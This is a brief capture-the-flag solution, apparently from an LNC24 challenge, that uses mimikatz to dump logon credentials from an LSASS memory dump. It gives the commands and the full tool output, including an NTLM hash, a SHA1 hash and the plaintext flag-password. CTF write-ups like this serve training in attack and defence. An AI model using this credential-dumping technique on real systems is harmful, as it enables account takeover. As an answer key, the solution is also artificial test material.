

Solution

Using mimikatz to dump credential from lsass process

```
# sekurlsa::minidump lsass.DMP
# sekurlsa::logonpasswords
```

```
mimikatz 2.2.0 x64 (oe.eo)

.#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##.   "A La Vie, A L'Amour" - (oe.eo)
## / \ ##   /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##   > https://blog.gentilkiwi.com/mimikatz
'## v ##'   Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####'   > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # sekurlsa::minidump lsass.DMP
Switch to MINIDUMP : 'lsass.DMP'

mimikatz # sekurlsa::logonpasswords
Opening : 'lsass.DMP' file for minidump...

Authentication Id : 0 ; 271372 (00000000:0004240c)
Session           : Interactive from 1
User Name         : admin
Domain            : LNC24
Logon Server      : LNC24
Logon Time        : 1/19/2024 1:31:12 AM
SID               : S-1-5-21-667958023-1762396816-3741999536-1000

msv :
  [00000003] Primary
  * Username : admin
  * Domain   : LNC24
  * NTLM     : dc6a4dece9d4c218d2f3560ef6d935af
  * SHA1     : c1014f9bb4a25d38f7b44499a37502011f00dc9c
tspkg :
  * Username : admin
  * Domain   : LNC24
  * Password : LNC24{death_is_like_the_wind}
wdigest :
  * Username : admin
  * Domain   : LNC24
  * Password : LNC24{death_is_like_the_wind}
kerberos :
  * Username : admin
  * Domain   : LNC24
  * Password : LNC24{death_is_like_the_wind}
ssp :
credman :
```